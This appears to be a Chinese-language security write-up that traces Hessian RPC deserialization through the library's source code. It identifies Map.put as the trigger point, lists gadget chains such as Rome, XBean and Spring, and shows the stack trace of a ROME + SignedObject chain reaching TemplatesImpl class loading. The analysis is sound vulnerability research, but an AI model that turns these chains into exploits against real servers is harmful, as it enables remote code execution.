if ("java.api.class" .equals(attrName)) { value = getAPIClassName(); } else if ("java.home.class" .equals(attrName)) { value = getHomeClassName(); } else if ("java.object.class" .equals(attrName)) { value = getObjectClassName(); } out.writeReply(value); out.close(); return ; } else { out.writeFault( "NoSuchMethodException" , escapeMessage("The service has no method named: " + in.getMethod()), null ); out.close(); return ; } } Class<?>[] args = method.getParameterTypes(); if (argLength != args.length && argLength >= 0 ) { out.writeFault( "NoSuchMethod" , escapeMessage("method " + method + " argument length mismatch, received length=" + argLength), null ); out.close(); return ; } Object[] values = new Object [args.length]; for (int i = 0 ; i < args.length; i++) { values[i] = in.readObject(args[i]); } Object result = null ; try { result = method.invoke(service, values); } catch (Exception e) { Throwable e1 = e; if (e1 instanceof InvocationTargetException) { e1 = ((InvocationTargetException) e).getTargetException(); } log.log(Level.FINE, this + " " + e1.toString(), e1); out.writeFault( "ServiceException" , escapeMessage(e1.getMessage()), e1 ); out.close(); return ; } in.completeCall(); out.writeReply(result); out.close(); }
反序列化过程 SerializerFactory 初始化 首先我们需要先关注 com.caucho.hessian.server.HessianServlet#service 过程对 SerializerFactory 对象的初始化:
1 2 3 4 5 SerializerFactory serializerFactory = getSerializerFactory();invoke(is, os, objectId, serializerFactory);
其中 getSerializerFactory 会返回近似单例模式的 SerializerFactory 对象。
1 2 3 4 5 6 public SerializerFactory getSerializerFactory () { if (_serializerFactory == null ) _serializerFactory = new SerializerFactory (); return _serializerFactory; }
com.caucho.hessian.io.SerializerFactory 的构造函数会根据 _isEnableUnsafeSerializer 是否设置决定是否使用 FieldDeserializer2FactoryUnsafe。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public SerializerFactory () { this (Thread.currentThread().getContextClassLoader()); } public SerializerFactory (ClassLoader loader) { _loaderRef = new WeakReference <ClassLoader>(loader); _contextFactory = ContextSerializerFactory.create(loader); if (_isEnableUnsafeSerializer) { _fieldDeserializerFactory = new FieldDeserializer2FactoryUnsafe (); } else { _fieldDeserializerFactory = new FieldDeserializer2Factory (); } }
com.caucho.hessian.server.HessianSkeleton#invoke 函数会构造 HessianInput/HessianOutput 并将前面创建的 serializerFactory 设置进去。
1 2 3 4 5 6 7 8 AbstractHessianInput in; AbstractHessianOutput out; in = _hessianFactory.createHessianInput(is); out = _hessianFactory.createHessian2Output(os); in.setSerializerFactory(serializerFactory); out.setSerializerFactory(serializerFactory);
两个类的 setSerializerFactory 实现是一样的,都是将 SerializerFactory 对象设置到 _serializerFactory 属性上。
1 2 3 public void setSerializerFactory (SerializerFactory factory) { _serializerFactory = factory; }
反序列化派发 之后反序列化参数时调用了 HessianInput#readObject 方法。
1 2 3 4 5 6 Object[] values = new Object [args.length]; for (int i = 0 ; i < args.length; i++) { values[i] = in.readObject(args[i]); }
readObject 函数完全由 Hessian 实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 public Object readObject (Class cl) throws IOException { if (cl == null || cl == Object.class) { return readObject(); } int tag = read(); switch (tag) { case 'N' : { return null ; } case 'M' : { String type = readType(); if ("" .equals(type)) { Deserializer reader = _serializerFactory.getDeserializer(cl); return reader.readMap(this ); } else { Deserializer reader = _serializerFactory.getObjectDeserializer(type); return reader.readMap(this ); } } case 'V' : { String type = readType(); int length = readLength(); Deserializer reader = _serializerFactory.getObjectDeserializer(type); if (cl != reader.getType() && cl.isAssignableFrom(reader.getType())) { return reader.readList(this , length); } reader = _serializerFactory.getDeserializer(cl); Object v = reader.readList(this , length); return v; } case 'R' : { int ref = parseInt(); return _refs.get(ref); } case 'r' : { String type = readType(); String url = readString(); return resolveRemote(type, url); } default : _peek = tag; Object value = _serializerFactory.getDeserializer(cl).readObject(this ); return value; } } public Object readObject () throws IOException { int tag = read(); switch (tag) { case 'N' : return null ; case 'T' : return Boolean.valueOf(true ); case 'F' : return Boolean.valueOf(false ); case 'I' : return Integer.valueOf(parseInt()); case 'L' : return Long.valueOf(parseLong()); case 'D' : return Double.valueOf(parseDouble()); case 'd' : return new Date (parseLong()); case 'x' : case 'X' : { _isLastChunk = tag == 'X' ; _chunkLength = (read() << 8 ) + read(); return parseXML(); } case 's' : case 'S' : { _isLastChunk = tag == 'S' ; _chunkLength = (read() << 8 ) + read(); int data; _sbuf.setLength(0 ); while ((data = parseChar()) >= 0 ) { _sbuf.append((char ) data); } return _sbuf.toString(); } case 'b' : case 'B' : { _isLastChunk = tag == 'B' ; _chunkLength = (read() << 8 ) + read(); int data; ByteArrayOutputStream bos = new ByteArrayOutputStream (); while ((data = parseByte()) >= 0 ) { bos.write(data); } return bos.toByteArray(); } case 'V' : { String type = readType(); int length = readLength(); return _serializerFactory.readList(this , length, type); } case 'M' : { String type = readType(); return _serializerFactory.readMap(this , type); } case 'R' : { int ref = parseInt(); return _refs.get(ref); } case 'r' : { String type = readType(); String url = readString(); return resolveRemote(type, url); } default : throw error("unknown code for readObject at " + codeName(tag)); } }
反序列化器获取 上述反序列化过程中,针对某些类型会调用 com.caucho.hessian.io.SerializerFactory#getDeserializer 来获取反序列化器进行反序列化。
对于有 Class cl 指定期望类型的情况,会直接根据 cl 调用 getDeserializer 获取对应的反序列化器。
1 2 3 4 5 6 7 8 9 10 11 12 13 case 'M' : { String type = readType(); if ("" .equals(type)) { Deserializer reader = _serializerFactory.getDeserializer(cl); return reader.readMap(this ); } else { Deserializer reader = _serializerFactory.getObjectDeserializer(type); return reader.readMap(this ); } }
对于没有指定期望类型的情况,则交由序列化工厂根据类型反序列化。
1 2 3 4 5 6 7 case 'M' : { String type = readType(); return _serializerFactory.readMap(this , type); }
_serializerFactory#readMap 会先 getDeserializer 获取反序列化器,然后再利用获取的反序列化器进行反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public Object readMap (AbstractHessianInput in, String type) throws HessianProtocolException, IOException { Deserializer deserializer = getDeserializer(type); if (deserializer != null ) { return deserializer.readMap(in); } else if (_hashMapDeserializer != null ) { return _hashMapDeserializer.readMap(in); } else { _hashMapDeserializer = new MapDeserializer (HashMap.class); return _hashMapDeserializer.readMap(in); } }
getDeserializer 会根据字符串类型的 type 尝试反射加载类,然后再根据 Class 获取对应的反序列化器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 public Deserializer getDeserializer (String type) throws HessianProtocolException { if (type == null || type.equals("" )) { return null ; } Deserializer deserializer; if (_cachedTypeDeserializerMap != null ) { synchronized (_cachedTypeDeserializerMap) { deserializer = (Deserializer) _cachedTypeDeserializerMap.get(type); } if (deserializer != null ) { return deserializer; } } deserializer = (Deserializer) _staticTypeMap.get(type); if (deserializer != null ) { return deserializer; } if (type.startsWith("[" )) { Deserializer subDeserializer = getDeserializer(type.substring(1 )); if (subDeserializer != null ) { deserializer = new ArrayDeserializer (subDeserializer.getType()); } else { deserializer = new ArrayDeserializer (Object.class); } } else { try { Class cl = loadSerializedClass(type); deserializer = getDeserializer(cl); } catch (Exception e) { log.warning("Hessian/Burlap: '" + type + "' is an unknown class in " + getClassLoader() + ":\n" + e); log.log(Level.FINER, e.toString(), e); } } if (deserializer != null ) { if (_cachedTypeDeserializerMap == null ) { _cachedTypeDeserializerMap = new HashMap (8 ); } synchronized (_cachedTypeDeserializerMap) { _cachedTypeDeserializerMap.put(type, deserializer); } } return deserializer; }
getDeserializer 内部有个 switch 分支,对应不同的类会返回对应的反序列化器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 public Deserializer getDeserializer (Class cl) throws HessianProtocolException { Deserializer deserializer; if (_cachedDeserializerMap != null ) { deserializer = (Deserializer) _cachedDeserializerMap.get(cl); if (deserializer != null ) { return deserializer; } } deserializer = loadDeserializer(cl); if (_cachedDeserializerMap == null ) { _cachedDeserializerMap = new ConcurrentHashMap (8 ); } _cachedDeserializerMap.put(cl, deserializer); return deserializer; } protected Deserializer loadDeserializer (Class cl) throws HessianProtocolException { Deserializer deserializer = null ; for (int i = 0 ; deserializer == null && _factories != null && i < _factories.size(); i++) { AbstractSerializerFactory factory = (AbstractSerializerFactory) _factories.get(i); deserializer = factory.getDeserializer(cl); } if (deserializer != null ) { return deserializer; } deserializer = _contextFactory.getDeserializer(cl.getName()); if (deserializer != null ) { return deserializer; } ContextSerializerFactory factory = null ; if (cl.getClassLoader() != null ) { factory = ContextSerializerFactory.create(cl.getClassLoader()); } else { factory = ContextSerializerFactory.create(_systemClassLoader); } deserializer = factory.getDeserializer(cl.getName()); if (deserializer != null ) { return deserializer; } deserializer = factory.getCustomDeserializer(cl); if (deserializer != null ) { return deserializer; } if (Collection.class.isAssignableFrom(cl)) { deserializer = new CollectionDeserializer (cl); } else if (Map.class.isAssignableFrom(cl)) { deserializer = new MapDeserializer (cl); } else if (Iterator.class.isAssignableFrom(cl)) { deserializer = IteratorDeserializer.create(); } else if (Annotation.class.isAssignableFrom(cl)) { deserializer = new AnnotationDeserializer (cl); } else if (cl.isInterface()) { deserializer = new ObjectDeserializer (cl); } else if (cl.isArray()) { deserializer = new ArrayDeserializer (cl.getComponentType()); } else if (Enumeration.class.isAssignableFrom(cl)) { deserializer = EnumerationDeserializer.create(); } else if (Enum.class.isAssignableFrom(cl)) { deserializer = new EnumDeserializer (cl); } else if (Class.class.equals(cl)) { deserializer = new ClassDeserializer (getClassLoader()); } else { deserializer = getDefaultDeserializer(cl); } return deserializer; }
Map 类型反序列化 对于 Map 类型获取到的是 com.caucho.hessian.io.MapDeserializer,该反序列化器的 readMap 方法会创建一个 Map 实例,然后将序列化数据中解析出的键值对存放到这个 Map 实例中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 public Object readMap (AbstractHessianInput in) throws IOException { Map map; if (_type == null ) { map = new HashMap (); } else if (_type.equals(Map.class)) { map = new HashMap (); } else if (_type.equals(SortedMap.class)) { map = new TreeMap (); } else { try { map = (Map) _ctor.newInstance(); } catch (Exception e) { throw new IOExceptionWrapper (e); } } in.addRef(map); while (!in.isEnd()) { Object key = in.readObject(); Object value = in.readObject(); map.put(key, value); } in.readEnd(); return map; }
其中 map.put 会触发如下操作,可作为反序列化的 Source 点。
对于 HashMap 会触发 key.hashCode()、key.equals(k);
对于 TreeMap 会触发 key.compareTo()。
普通类反序列化 对于自定义类型,在 readObject 方法中会走 M 分支,也就是说 Hessian 把普通类对象当成 Map 来处理了。
1 2 3 4 5 6 7 case 'M' : { String type = readType(); return _serializerFactory.readMap(this , type); }
这里 readType 得到的 type 是类的完整名称,因此 MapDeserializer#readMap 函数会调用到 getDefaultDeserializer 获取默认的反序列化器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 protected Deserializer getDefaultDeserializer (Class cl) { if (InputStream.class.equals(cl)) { return InputStreamDeserializer.DESER; } if (_isEnableUnsafeSerializer) { return new UnsafeDeserializer (cl, _fieldDeserializerFactory); } else { return new JavaDeserializer (cl, _fieldDeserializerFactory); } }
默认反序列化器为 UnsafeDeserializer,在其构造函数里,会对类成员分配成员的反序列化器,并放入 HashMap<String,FieldDeserializer2> _fieldMap。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public UnsafeDeserializer (Class<?> cl, FieldDeserializer2Factory fieldFactory) { _type = cl; _fieldMap = getFieldMap(cl, fieldFactory); _readResolve = getReadResolve(cl); if (_readResolve != null ) { _readResolve.setAccessible(true ); } }
和原生反序列化一样,会跳过 static 和 transient 修饰的字段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 protected HashMap<String, FieldDeserializer2> getFieldMap (Class<?> cl, FieldDeserializer2Factory fieldFactory) { HashMap<String, FieldDeserializer2> fieldMap = new HashMap <String, FieldDeserializer2>(); for (; cl != null ; cl = cl.getSuperclass()) { Field[] fields = cl.getDeclaredFields(); for (int i = 0 ; i < fields.length; i++) { Field field = fields[i]; if (Modifier.isTransient(field.getModifiers()) || Modifier.isStatic(field.getModifiers())) { continue ; } else if (fieldMap.get(field.getName()) != null ) { continue ; } FieldDeserializer2 deser = fieldFactory.create(field); fieldMap.put(field.getName(), deser); } } return fieldMap; }
UnsafeDeserializer#readMap 先创建了一个实例对象,再对这个实例对象进行操作。这里的 instantiate 就是利用 Unsafe 在内存层面直接开辟出一个对象的空间。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public Object readMap (AbstractHessianInput in) throws IOException { try { Object obj = instantiate(); return readMap(in, obj); } catch (IOException e) { throw e; } catch (RuntimeException e) { throw e; } catch (Exception e) { throw new IOExceptionWrapper (_type.getName() + ":" + e.getMessage(), e); } } protected Object instantiate () throws Exception { return _unsafe.allocateInstance(_type); }
接着从输入流里读取字段名,_fieldMap 中获取对应的字段反序列化器,再对 obj 进行操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 public Object readMap (AbstractHessianInput in, Object obj) throws IOException { try { int ref = in.addRef(obj); while (!in.isEnd()) { Object key = in.readObject(); FieldDeserializer2 deser = (FieldDeserializer2) _fieldMap.get(key); if (deser != null ) { deser.deserialize(in, obj); } else { in.readObject(); } } in.readMapEnd(); Object resolve = resolve(in, obj); if (obj != resolve) { in.setRef(ref, resolve); } return resolve; } catch (IOException e) { throw e; } catch (Exception e) { throw new IOExceptionWrapper (e); } }
FieldDeserializer2FactoryUnsafe 内置了一堆基本类型的反序列化器,大都是直接从输入流读取的数据就是字段值。
例如对于普通对象,这里获取的反序列化器为 com.caucho.hessian.io.FieldDeserializer2FactoryUnsafe$ObjectFieldDeserializer,可以看到最核心的操作是 _unsafe.putObject(obj, _offset, value); 修改对象在内存中字段偏移量处的值
因此就没有触发我们自定义的readObject了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @Override public void deserialize (AbstractHessianInput in, Object obj) throws IOException { Object value = null ; try { value = in.readObject(_field.getType()); _unsafe.putObject(obj, _offset, value); } catch (Exception e) { logDeserializeError(_field, obj, value, e); } }
客户端 1 2 3 4 5 6 7 8 import com.caucho.hessian.client.HessianProxyFactory;HessianProxyFactory factory = new HessianProxyFactory ();HelloService hello = (HelloService) factory.create( HelloService.class, "http://localhost:8080/yourapp/hessian/hello" ); System.out.println(hello.hi("world" ));
客户端 com.caucho.hessian.client.HessianProxyFactory#create 会调用到多个重载函数。
1 2 3 at com.caucho.hessian.client.HessianProxyFactory.create(HessianProxyFactory.java:455) at com.caucho.hessian.client.HessianProxyFactory.create(HessianProxyFactory.java:430) at com.caucho.hessian.client.HessianProxyFactory.create(HessianProxyFactory.java:408)
最终 HessianProxyFactory#create 返回一个代理对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public Object create (Class<?> api, URL url, ClassLoader loader) { if (api == null ) { throw new NullPointerException ("api must not be null for HessianProxyFactory.create()" ); } InvocationHandler handler = new HessianProxy (url, this , api); return Proxy.newProxyInstance( loader, new Class [] { api, HessianRemoteObject.class }, handler ); }
所以无论调用啥方法都会走到 com.caucho.hessian.client.HessianProxy#invoke 方法。
首先获取了方法名和方法参数类型,将方法和方法名放入 _mangleMap,下次调用会首先从 _mangleMap 获取方法名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 synchronized (_mangleMap) { mangleName = _mangleMap.get(method); } if (mangleName == null ) { String methodName = method.getName(); Class<?>[] params = method.getParameterTypes(); if (methodName.equals("equals" ) && params.length == 1 && params[0 ].equals(Object.class)) { Object value = args[0 ]; if (value == null || !Proxy.isProxyClass(value.getClass())) return Boolean.FALSE; Object proxyHandler = Proxy.getInvocationHandler(value); if (!(proxyHandler instanceof HessianProxy)) return Boolean.FALSE; HessianProxy handler = (HessianProxy) proxyHandler; return new Boolean (_url.equals(handler.getURL())); } else if (methodName.equals("hashCode" ) && params.length == 0 ) return new Integer (_url.hashCode()); else if (methodName.equals("getHessianType" )) return proxy.getClass().getInterfaces()[0 ].getName(); else if (methodName.equals("getHessianURL" )) return _url.toString(); else if (methodName.equals("toString" ) && params.length == 0 ) return "HessianProxy[" + _url + "]" ; if (!_factory.isOverloadEnabled()) mangleName = method.getName(); else mangleName = mangleName(method); synchronized (_mangleMap) { _mangleMap.put(method, mangleName); } }
之后发送请求获取连接对象,读取协议标志 code,根据协议标志选择使用 Hessian/Hessian2 读取,最终断开连接。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 conn = sendRequest(mangleName, args); is = getInputStream(conn); if (log.isLoggable(Level.FINEST)) { PrintWriter dbg = new PrintWriter (new LogWriter (log)); HessianDebugInputStream dIs = new HessianDebugInputStream (is, dbg); dIs.startTop2(); is = dIs; } AbstractHessianInput in; int code = is.read();if (code == 'H' ) { int major = is.read(); int minor = is.read(); in = _factory.getHessian2Input(is); Object value = in.readReply(method.getReturnType()); if (value instanceof InputStream) { value = new ResultInputStream (conn, is, in, (InputStream) value); is = null ; conn = null ; } return value; } else if (code == 'r' ) { int major = is.read(); int minor = is.read(); in = _factory.getHessianInput(is); in.startReplyBody(); Object value = in.readObject(method.getReturnType()); if (value instanceof InputStream) { value = new ResultInputStream (conn, is, in, (InputStream) value); is = null ; conn = null ; } else { in.completeReply(); } return value; } else { throw new HessianProtocolException ("'" + (char ) code + "' is an unknown code" ); }
sendRequest 里除了建立网络连接外,还通过 HessianOutput#call 来序列化方法调用参数(HessianOutput#writeObject)
1 2 3 4 5 6 7 8 at com.caucho.hessian.io.SerializerFactory.getDefaultSerializer(SerializerFactory.java:382) at com.caucho.hessian.io.SerializerFactory.loadSerializer(SerializerFactory.java:368) at com.caucho.hessian.io.SerializerFactory.getSerializer(SerializerFactory.java:267) at com.caucho.hessian.io.HessianOutput.writeObject(HessianOutput.java:322) at com.caucho.hessian.io.HessianOutput.call(HessianOutput.java:132) at com.caucho.hessian.client.HessianProxy.sendRequest(HessianProxy.java:300) at com.caucho.hessian.client.HessianProxy.invoke(HessianProxy.java:171) at com.sun.proxy.$Proxy0.hi(Unknown Source:-1)
序列化首先需要根据参数类型获取对应的序列化器。和获取反序列化器一样,这里匹配不到预置类型,只能获取默认的序列化器 UnsafeSerializer。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public void writeObject (Object object) throws IOException { if (object == null ) { writeNull(); return ; } Serializer serializer; serializer = _serializerFactory.getSerializer(object.getClass()); serializer.writeObject(object, this ); }
只要开启 _isAllowNonSerializable,没有实现 Serializable 接口的类也能序列化。这也是和原生反序列化的重大区别之一。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 protected Serializer getDefaultSerializer (Class cl) { if (_defaultSerializer != null ) return _defaultSerializer; if (!Serializable.class.isAssignableFrom(cl) && !_isAllowNonSerializable) { throw new IllegalStateException ( "Serialized class " + cl.getName() + " must implement java.io.Serializable" ); } if (_isEnableUnsafeSerializer && JavaSerializer.getWriteReplace(cl) == null ) { return UnsafeSerializer.create(cl); } else { return JavaSerializer.create(cl); } }
UnsafeSerializer 的构造函数中使用 introspect() 自省序列化的类。看到这里序列化也跳过了 static 和 transient 修饰的字段,并且同样为每个字段分配其序列化器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 protected void introspect (Class<?> cl) { ArrayList<Field> primitiveFields = new ArrayList <Field>(); ArrayList<Field> compoundFields = new ArrayList <Field>(); for (; cl != null ; cl = cl.getSuperclass()) { Field[] fields = cl.getDeclaredFields(); for (int i = 0 ; i < fields.length; i++) { Field field = fields[i]; if (Modifier.isTransient(field.getModifiers()) || Modifier.isStatic(field.getModifiers())) { continue ; } if (field.getType().isPrimitive() || (field.getType().getName().startsWith("java.lang." ) && !field.getType().equals(Object.class))) { primitiveFields.add(field); } else { compoundFields.add(field); } } } ArrayList<Field> fields = new ArrayList <Field>(); fields.addAll(primitiveFields); fields.addAll(compoundFields); _fields = new Field [fields.size()]; fields.toArray(_fields); _fieldSerializers = new FieldSerializer [_fields.length]; for (int i = 0 ; i < _fields.length; i++) { _fieldSerializers[i] = getFieldSerializer(_fields[i]); } }
基于 Map 反序列化 由上分析,我们可得 Hessian 反序列化有如下特点:
只要开启 _isAllowNonSerializable,未实现 Serializable 接口的类也能序列化。
和原生反序列化一样,static 和 transient 修饰的类不会被序列化和反序列化。
source 点不在 readObject,而是利用 Map 类反序列化时会执行 put 操作,触发:
HashMap->key.hashCode()、HashMap->key.equals(k)
TreeMap->key.compareTo()
若目标 RPC 服务暴露出去的接口方法不接收 Map 类型参数,我们可以找远程对象从 HessianServlet 及其父类继承得到的方法。
因为通常来说服务端类会继承 HessianServlet。在 HessianServlet#init 函数中,如果没有显式配置 home-api(或 api-class) ,Hessian 会把 _homeAPI 回退 成 _homeImpl.getClass():
1 2 3 4 5 6 7 8 else if (_homeImpl != null ) { _homeAPI = findRemoteAPI(_homeImpl.getClass()); if (_homeAPI == null ) _homeAPI = _homeImpl.getClass(); _homeAPI = _homeImpl.getClass(); }
也就是说:对外暴露的 API 类型 = 你的实现类本身 (而不是你原本设计的小接口)。
随后 AbstractSkeleton(apiClass) 会对这个 apiClass.getMethods() 里的所有 public 方法 建索引(包括从父类继承来的)。
而 HessianServlet 本身就有这些 public 方法:
1 2 3 4 5 public void setHome (Object home) public void setObject (Object object) public void setHomeAPI (Class<?> api) public void setObjectAPI (Class<?> api) ...
于是,这些方法也会被加入可远程调用的方法表(_methodMap)。
客户端只要在自己的“接口”里把这些方法声明上 ,Hessian 客户端就会按它们的名字与参数个数编码出请求,服务端 Skeleton 正好能匹配上并反射调用它们。
Hessian 可以配合以下来利用:
Rome ← hashCode
XBean ← equals
Resin ← equals
Goovy ← compareTo
SpringPartiallyComparableAdvisorHolder ← equals
SpringAbstractBeanFactoryPointcutAdvisor ← equals
ROME + SignedObject 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:142) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:346) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:383) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:418) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:439) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:483) at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:137) at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:116) at com.sun.syndication.feed.impl.EqualsBean.beanHashCode(EqualsBean.java:193) at com.sun.syndication.feed.impl.EqualsBean.hashCode(EqualsBean.java:176) at java.util.HashMap.hash(HashMap.java:338) at java.util.HashMap.put(HashMap.java:611) at java.util.HashSet.readObject(HashSet.java:334) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:483) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1896) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371) at java.security.SignedObject.getObject(SignedObject.java:180) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:483) at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:137) at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:116) at com.sun.syndication.feed.impl.EqualsBean.beanHashCode(EqualsBean.java:193) at com.sun.syndication.feed.impl.EqualsBean.hashCode(EqualsBean.java:176) at java.util.HashMap.hash(HashMap.java:338) at java.util.HashMap.put(HashMap.java:611) at java.util.HashSet.add(HashSet.java:219) at com.caucho.hessian.io.CollectionDeserializer.readList(CollectionDeserializer.java:78) at com.caucho.hessian.io.SerializerFactory.readList(SerializerFactory.java:557) at com.caucho.hessian.io.HessianInput.readObject(HessianInput.java:1154) at com.caucho.hessian.io.HessianInput.readObject(HessianInput.java:1012) at com.caucho.hessian.server.HessianSkeleton.invoke(HessianSkeleton.java:296) at com.caucho.hessian.server.HessianSkeleton.invoke(HessianSkeleton.java:198) at com.caucho.hessian.server.HessianServlet.invoke(HessianServlet.java:428) at com.caucho.hessian.server.HessianServlet.service(HessianServlet.java:408)
原理分析 Rome 利用链中的 TemplatesImpl 由于其 _tfactory 被 transient 修饰,在 Hessian 中无法进行序列化。
TemplatesImpl 重写了 readObject 方法,在 readObject 中给 _tfactory 赋值了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private transient TransformerFactoryImpl _tfactory = null ;private void readObject (ObjectInputStream is) throws IOException, ClassNotFoundException { SecurityManager security = System.getSecurityManager(); if (security != null ){ String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET); if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true" ))) { ErrorMsg err = new ErrorMsg (ErrorMsg.DESERIALIZE_TRANSLET_ERR); throw new UnsupportedOperationException (err.toString()); } } is.defaultReadObject(); if (is.readBoolean()) { _uriResolver = (URIResolver) is.readObject(); } _tfactory = new TransformerFactoryImpl (); }
而 Hessian 中序列化和反序列化中都不会处理 transient 修饰的字段。而 TemplatesImpl那条链的 defineTransletClasses 要求 _tfactory 不为空,否则抛出异常。
1 2 3 4 5 6 TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });
因此这里需要配合 java.security.SignedObject#getObject 进行二次反序列化。而 SignedObject#getObject 可以通过 ROME 链进行 getter 触发。
